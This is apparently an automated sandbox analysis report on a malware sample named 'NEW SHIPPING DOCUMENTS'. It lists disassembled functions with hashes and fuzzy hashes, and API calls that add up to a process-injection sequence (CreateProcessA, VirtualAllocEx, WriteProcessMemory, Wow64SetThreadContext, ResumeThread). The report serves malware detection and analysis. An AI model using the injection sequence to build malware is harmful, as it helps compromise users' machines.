Instruction Fuzzy Hash: 11B121B4E0120ADFCB08DFA9D5854AEFBF2FF89300F11956AD406AB364DB3599018F91

Function 070935E8 Relevance: 1.5, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

5{, xrefs: 070937D2

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: 5{
API String ID: 0-2291050889
Opcode ID: 06193092111e0a5aa1dc95a1981e246a46a5be94157a0de6fbf91f806313032a
Instruction ID: 9c84abeaa3c282ccd97c022902c189ac4b32c09ef7d548f7f1a4888a1fd04104
Opcode Fuzzy Hash: 06193092111e0a5aa1dc95a1981e246a46a5be94157a0de6fbf91f806313032a
Instruction Fuzzy Hash: A1A132B4E0120ADBCB08DFA9D5854AEFBF2FF89300F11956AD406AB364DB349901CF91

Function 07095201 Relevance: 1.5, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

j4$y, xrefs: 07095426

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: j4$y
API String ID: 0-2391584009
Opcode ID: 0714b982a05bc211a9bb2a3b613a880bece21a8920f236671edb69d925e22e6c
Instruction ID: 63f1ac286178a2f8d00744e36de2315b156afcf14b1ddb56698bba3e3e3413e3
Opcode Fuzzy Hash: 0714b982a05bc211a9bb2a3b613a880bece21a8920f236671edb69d925e22e6c
Instruction Fuzzy Hash: 8F81F6B1E15209EFDF09CFA6D9809DEFBB2FB8A310F10952AE415AB264D7349552DF00

Function 07095210 Relevance: 1.5, Strings: 1, Instructions: 208COMMON

Download Yara Rule

Strings

j4$y, xrefs: 07095426

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: j4$y
API String ID: 0-2391584009
Opcode ID: 4eabf80be9b70ada4211b01f1f8f056c9fc94e0c625ace643f1feff11e226797
Instruction ID: aa3dfe19974b6cb079b01a645f8a36171cf4334da857399a26c6fc6a48b44948
Opcode Fuzzy Hash: 4eabf80be9b70ada4211b01f1f8f056c9fc94e0c625ace643f1feff11e226797
Instruction Fuzzy Hash: 4A81F7B1E15209EFDF08CFA6D9809DEFBB6FB8A310F10952AE415AB264D7349552DF00

Function 0706DCD8 Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b9a2eaab22e58021c756c3ddf5dd1806d279be55063bc29ac6c3546cde6e1e5
Instruction ID: f248705e690fefc50f2fe2bc181596c04d485b73ec545107ee644a9c51d59313
Opcode Fuzzy Hash: 3b9a2eaab22e58021c756c3ddf5dd1806d279be55063bc29ac6c3546cde6e1e5
Instruction Fuzzy Hash: 7CA169B9E01219DFCB08DFA9D895ADEBBF2FF88311F20852AE405BB214D7305945CB91

Function 05194204 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2146251487.0000000005190000.00000040.00000800.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5190000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e3c65d22ab94e5155055f5022945f530128261e873408414ad19162a3f2bdfd
Instruction ID: 6a020c197b7be80c9c9fa73b6d146b111a197091cd6b609314eb4e45ce9b7158
Opcode Fuzzy Hash: 8e3c65d22ab94e5155055f5022945f530128261e873408414ad19162a3f2bdfd
Instruction Fuzzy Hash: A0C1B374E00209CFDB05DFA9D899AAEBBF2FF88300F1481A9D509AB355DB316945CF50

Function 05197088 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2146251487.0000000005190000.00000040.00000800.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5190000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a44e2b58ef060b1875255da499cb74ae8ade105bbd39ef315f7983d24a0495a
Instruction ID: e14f8550f16c8aca6918209c0be178a5a160cb8164b54f0a09cf7d0bc1efb977
Opcode Fuzzy Hash: 2a44e2b58ef060b1875255da499cb74ae8ade105bbd39ef315f7983d24a0495a
Instruction Fuzzy Hash: C0C1A274E00209CFDB05DFA9D899AAEBBF2FF88300F1480A9D509AB365DB316945CF50

Function 0706DD78 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 588da03f19427aa49eded5c59420cff6998b45cec0690d5f8b958ab5c7d4b3cd
Instruction ID: 1dc03f3902ab5bc2c2ad4e5117b433e631336a685e4237ce45556f3823d21962
Opcode Fuzzy Hash: 588da03f19427aa49eded5c59420cff6998b45cec0690d5f8b958ab5c7d4b3cd
Instruction Fuzzy Hash: C881D4B4E10219CFDB08DFAAC894AAEFBF2FF89304F14812AD519AB354D7345901CB50

Function 07093A19 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0cd8255682fd88c286533bad4a9d6270f81e00aad6b97ed91cfcf15c579fb2c
Instruction ID: f9f7189ed46a05759223fb6c2244bc6ac79a81e4e964d211004ecbd16a60891c
Opcode Fuzzy Hash: e0cd8255682fd88c286533bad4a9d6270f81e00aad6b97ed91cfcf15c579fb2c
Instruction Fuzzy Hash: A35129B4E152099FCF08CFA5D9854AEFBF6FF89300F10952AE426E7264DB349A019F54

Function 07093A28 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59bf6b8cc342970fc320581baa6440b165f860087064443cc49ccc43fc3faecc
Instruction ID: 07ada46b5508ad132253acccb65f409cf50c1691104c9927cf1fa9111f5d7742
Opcode Fuzzy Hash: 59bf6b8cc342970fc320581baa6440b165f860087064443cc49ccc43fc3faecc
Instruction Fuzzy Hash: CC5128B4E146099FCF08CFA5D9854AEFBF6FF89300F10952AE426E7264DB349A019F54

Function 07412646 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2164510896.0000000007410000.00000040.00000800.00020000.00000000.sdmp, Offset: 07410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7410000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1983bb1bc60a25796bedf3d5786957e9ac989367a4f0a239bc618d3eaa930a53
Instruction ID: de0758b647cb9b921dc6715f0f0a22ba4732c37075522d48227d125396bc4f8e
Opcode Fuzzy Hash: 1983bb1bc60a25796bedf3d5786957e9ac989367a4f0a239bc618d3eaa930a53
Instruction Fuzzy Hash: C34128B4A54229CFCB65EF64C845BEDBBB4BB0A300F1094EAD509E7290DBB05AC5DF40

Function 07090007 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d0b354806fe30fc59c1366b8adb7d04cec8a9615a9e8967490ea54945a8d00
Instruction ID: 58c650e667418e59960390b417826e27f656aa9265d0a9ba3b9a1ce04d2ce1f0
Opcode Fuzzy Hash: a2d0b354806fe30fc59c1366b8adb7d04cec8a9615a9e8967490ea54945a8d00
Instruction Fuzzy Hash: 23315A71D053458FDB49CF66C8502DABFF3AFC6310F18C1A6D404AA265DB780A46CB51

Function 07090040 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cc039b5888ae86a830c1fdb5ca6d4aff573d22b527cf595af9961f11b4fec98
Instruction ID: 66a7d9c45c04e3a106cc144a74e3bdb76a774adfce4050db4e1dab4ad71be711
Opcode Fuzzy Hash: 1cc039b5888ae86a830c1fdb5ca6d4aff573d22b527cf595af9961f11b4fec98
Instruction Fuzzy Hash: E33106B1E01618CBDB58CFAAC84469EBBF7AFC9310F14C1A9E409A7354DB355A85CF40

Function 0706D248 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c219efd4fbd52c2d0954290e8a36b9040748de7ad40770700cd055f1223185a4
Instruction ID: 48f6a58b7cc92d967a3d5e4a63f0794887848b324b1a77d2d10a89ff40f0f4b3
Opcode Fuzzy Hash: c219efd4fbd52c2d0954290e8a36b9040748de7ad40770700cd055f1223185a4
Instruction Fuzzy Hash: 6F21A8B1E106199BEB58CFABD85479EFBF7AFC8200F04C17AD408A6228DB745A458F51

Function 0706F835 Relevance: 1.8, APIs: 1, Instructions: 251
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0706FA76

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 96f6f76eccc3285b706dcb9ab98337afbc0f4ed1386f59cd4a6a103b9e1f5c53
Instruction ID: 0725998d16d20fcf99a5dc076c1ceea5bb053287956e2db154f16596f59775dd
Opcode Fuzzy Hash: 96f6f76eccc3285b706dcb9ab98337afbc0f4ed1386f59cd4a6a103b9e1f5c53
Instruction Fuzzy Hash: 3FA16BB1D0021ADFEF14DF68D8557DDBBF2AF48314F1486A9E808A7240DB74A985CF91

Function 0706F840 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0706FA76

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4ed90609632dbfcb2b3dd2385a36c596b5358d19bf71efa215c6247c4ee11c3b
Instruction ID: 426b1fae91c15252f0a4f65076cc00047be068b146c0071d6953fca43297eab0
Opcode Fuzzy Hash: 4ed90609632dbfcb2b3dd2385a36c596b5358d19bf71efa215c6247c4ee11c3b
Instruction Fuzzy Hash: 11914AB1D0021ADFEF14DF68D8557DDBAF2AB48314F1486A9E808A7240DB74A985CF91

Function 0519B8D0 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2146251487.0000000005190000.00000040.00000800.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5190000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 836d6185abdbfc8fdceed667bd7ea56f7f942ae32831080859536054bf8dad9f
Instruction ID: 15c9ac5a03642788298ba8f77f85c725b185eb3e92b8197a05046b6609632274
Opcode Fuzzy Hash: 836d6185abdbfc8fdceed667bd7ea56f7f942ae32831080859536054bf8dad9f
Instruction Fuzzy Hash: 69715A70A18B058FDB28DF6AE45476ABBF1FF88700F00892DD48AD7A40DB74E805CB91

Function 0519454C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 05195DC9

Memory Dump Source

Source File: 00000000.00000002.2146251487.0000000005190000.00000040.00000800.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5190000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: d8b59fe97518e84e7dea3fb2011b941b2c2d7452b90f005620aa967134166816
Instruction ID: 26801e18c787f050806994726ddcd8afd0849803373cea986c41370c35bd977f
Opcode Fuzzy Hash: d8b59fe97518e84e7dea3fb2011b941b2c2d7452b90f005620aa967134166816
Instruction Fuzzy Hash: 7E41BFB0C00619CADF29CFA9C94479DBBB6BF48704F60805AD409AB255DBB56945CF90

Function 05195D0D Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 05195DC9

Memory Dump Source

Source File: 00000000.00000002.2146251487.0000000005190000.00000040.00000800.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5190000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0e20c26d0f37218f93934c30b262be8fb39a8eabd2dda949ced359bf25af6469
Instruction ID: 59afa83b20d2159f4b3920a966c5e8cc016578222c98252d6d2153be45159a83
Opcode Fuzzy Hash: 0e20c26d0f37218f93934c30b262be8fb39a8eabd2dda949ced359bf25af6469
Instruction Fuzzy Hash: 2141FFB0C00619CADF29CFA9C94479DBBB6BF88304F20805AD408AB251DBB56945CF50

Function 0709FC11 Relevance: 1.6, APIs: 1, Instructions: 74
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0709FCA8

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 250352ac2ca1e98cbc3e765200f0b2c7587d87364ce535ef3e8af9c1a4fde003
Instruction ID: 837649a38ea3bd48c76153d0828cac47d9f25da6ddddc6066309443d36b85743
Opcode Fuzzy Hash: 250352ac2ca1e98cbc3e765200f0b2c7587d87364ce535ef3e8af9c1a4fde003
Instruction Fuzzy Hash: 0A214BB590030A9FDF10CFA9C941BDEBBF5FF48310F108429E918A7240D778A950DBA5

Function 070630FC Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,07063B05,?,?), ref: 07063BB7

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: c11681278f1381178207d5291e3110922f5e3144a20518cfca966f2779342b27
Instruction ID: ac02c558d65195a32243689eb5eef13228d4794bb98da7bcb0a1cbbbc08cbee9
Opcode Fuzzy Hash: c11681278f1381178207d5291e3110922f5e3144a20518cfca966f2779342b27
Instruction Fuzzy Hash: 7431C2B59003099FDB10CF9AD884AEEFBF4FF48320F54852AE919A7210D775A944CFA4

Function 07063B18 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,07063B05,?,?), ref: 07063BB7

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: fd79dcba55ec74e44396611330bfc334de880d0d465734aee0962594f620ef58
Instruction ID: b31c83e3d39c552ccc699ebb318240f2535b5ed52d6dff1920c4a86457201152
Opcode Fuzzy Hash: fd79dcba55ec74e44396611330bfc334de880d0d465734aee0962594f620ef58
Instruction Fuzzy Hash: B231C3B5D0020A9FDB10CF99D984ADEFBF4FF48324F14842AE519A7210D775A955CFA0

Function 0709FC18 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0709FCA8

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fb21194508b85b55ac58f2dccca84d1a6bd733a13b7ff2dc5a5b08d0bc4b8850
Instruction ID: 467f967f10185b4565426b7d832288831c7a3e1310c7e4d3efc4ba7dba97c406
Opcode Fuzzy Hash: fb21194508b85b55ac58f2dccca84d1a6bd733a13b7ff2dc5a5b08d0bc4b8850
Instruction Fuzzy Hash: 732146B190030A9FDF10CFA9C981BDEBBF5FF48310F108829E918A7240C778A950DBA4

Function 0706F6A0 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0706F728

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 257a3167f9cb81d6ca8b9db4192e373cfe4a8a58c3c317f4b583a81fbd9f060a
Instruction ID: d4ec60358c58b2c8539cfbfbecf0046348a7dfb87ba4a948e2470fc8572340f5
Opcode Fuzzy Hash: 257a3167f9cb81d6ca8b9db4192e373cfe4a8a58c3c317f4b583a81fbd9f060a
Instruction Fuzzy Hash: 5D213BB19003599FDF10CFA9D8856DEFBF5FF48320F10842AE518A7240C7759940CBA5

Function 0709F640 Relevance: 1.6, APIs: 1, Instructions: 68
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0709F6C6

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b383d1fce773ee99a7248a36643d6d82cfbed48e57c0ec4fcc65d9d1e130125c
Instruction ID: 7eef3cd25229845cef61fe6ac254723658c1c4cf7541e8de0e0113848c125581
Opcode Fuzzy Hash: b383d1fce773ee99a7248a36643d6d82cfbed48e57c0ec4fcc65d9d1e130125c
Instruction Fuzzy Hash: AB215CB19003099FDB10CFAAC4857EEFBF4AF48324F14842ED559A7241C779A945CBA5

Function 0519D678 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0519DD6E,?,?,?,?,?), ref: 0519DE2F

Memory Dump Source

Source File: 00000000.00000002.2146251487.0000000005190000.00000040.00000800.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5190000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ee21267c033047e795cf46b215dbb9c567cd900be42c42a06008d6ba7a1f344c
Instruction ID: dfa053600e16896e5f5bd99e9d4b336df7b6566d359331cca3d215663da9b172
Opcode Fuzzy Hash: ee21267c033047e795cf46b215dbb9c567cd900be42c42a06008d6ba7a1f344c
Instruction Fuzzy Hash: 7B21D4B59002099FDB10CF9AD584AEEBBF4EB48310F14841AE914A7350D378A950CFA5

Function 0519DDA0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0519DD6E,?,?,?,?,?), ref: 0519DE2F

Memory Dump Source

Source File: 00000000.00000002.2146251487.0000000005190000.00000040.00000800.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5190000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a808cb62d543c79569361da54421e2bed869e1c037060dd3b8a300dab1af05fe
Instruction ID: 5ccb291e0ddb44c683fb181856554f95e4d00ceaa895a92c3d8f0ae06f1f575c
Opcode Fuzzy Hash: a808cb62d543c79569361da54421e2bed869e1c037060dd3b8a300dab1af05fe
Instruction Fuzzy Hash: 8521E5B59002499FDB10CFAAD584ADEFFF4FB48310F14841AE914A3250D379A950CF65

Function 0706F6A8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0706F728

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 666110e48a70706508c4a17315128008439d5a55d86de601f11e199d9025b307
Instruction ID: 533ec51c494520c1dad02da02479d027b9b4e145eed9aa5c509cbf3f6d1ab488
Opcode Fuzzy Hash: 666110e48a70706508c4a17315128008439d5a55d86de601f11e199d9025b307
Instruction Fuzzy Hash: A62128B180034A9FDB10CFAAD885BDEFBF5FF48310F108429E519A7240D779A910CBA5

Function 0709F648 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0709F6C6

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0da14f6a7fd76994ace91d3a934a0c3dc7443a81943d85e54738cc397c9277a1
Instruction ID: fe77d1159a1ab5bc03c0fa1c21f49f09708dc89cd8c9389fe955807c62b1bc5b
Opcode Fuzzy Hash: 0da14f6a7fd76994ace91d3a934a0c3dc7443a81943d85e54738cc397c9277a1
Instruction Fuzzy Hash: 13212CB1D0030A9FDB10DFAAC4857EEBBF4EF88314F148429D559A7240D778A944CFA5

Function 0709F158 Relevance: 1.6, APIs: 1, Instructions: 56threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0709F1C2

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 314e6e91d9ee5df5fb9062fa40e174256a905d02eba317273c77921a29befcb4
Instruction ID: 91428da655a76bb4e7a2a68575c959be9c44a3a6736e16f376286062b8944211
Opcode Fuzzy Hash: 314e6e91d9ee5df5fb9062fa40e174256a905d02eba317273c77921a29befcb4
Instruction Fuzzy Hash: 6C1149B190034A8FDB10DFAAD4457DEFFF4AF88224F24846AD559A7240C7796504CB95

Function 0709FB51 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0709FBC6

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 89e2b143b27b2ae55c872d752f3bb25720e18243a087831262700c6d28cad595
Instruction ID: f1b2550412ab3d5b0907e1bc2ce56d8ff5dfe90d9d0efd468d56e1f9c5be0543
Opcode Fuzzy Hash: 89e2b143b27b2ae55c872d752f3bb25720e18243a087831262700c6d28cad595
Instruction Fuzzy Hash: 54115C729002499FDF10DF9AD4457DFBBF5AF48320F108419D555A7250C775A550CF91

Function 0709FB58 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0709FBC6

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 64b007e14b19896c48f6da846683e5d83780827fab9742c2a3a8c2492657c680
Instruction ID: 7df7ae3f2485a86494d18c2588462666578781330fc051653bab43a10dd2ec50
Opcode Fuzzy Hash: 64b007e14b19896c48f6da846683e5d83780827fab9742c2a3a8c2492657c680
Instruction Fuzzy Hash: 2C1126B290024A9FDF10DFAAC845BDFBBF5AF88320F148819E519A7250C775A950CBA5

Function 0519B294 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,0519B8EC), ref: 0519BB26

Memory Dump Source

Source File: 00000000.00000002.2146251487.0000000005190000.00000040.00000800.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5190000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2f7173f610ac3287dcf1835948ea526f632fcd44489bdc23f482799de39d8934
Instruction ID: 7af623eb58d6ac80c107e540aea438143e7ded8bc1949a5f8cce4391028cf79f
Opcode Fuzzy Hash: 2f7173f610ac3287dcf1835948ea526f632fcd44489bdc23f482799de39d8934
Instruction Fuzzy Hash: C81104B5C087498FCB24CF9AD444B9EFBF4EF48210F10841AD41AB7240D3B9A545CFA5

Function 0709F160 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0709F1C2

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
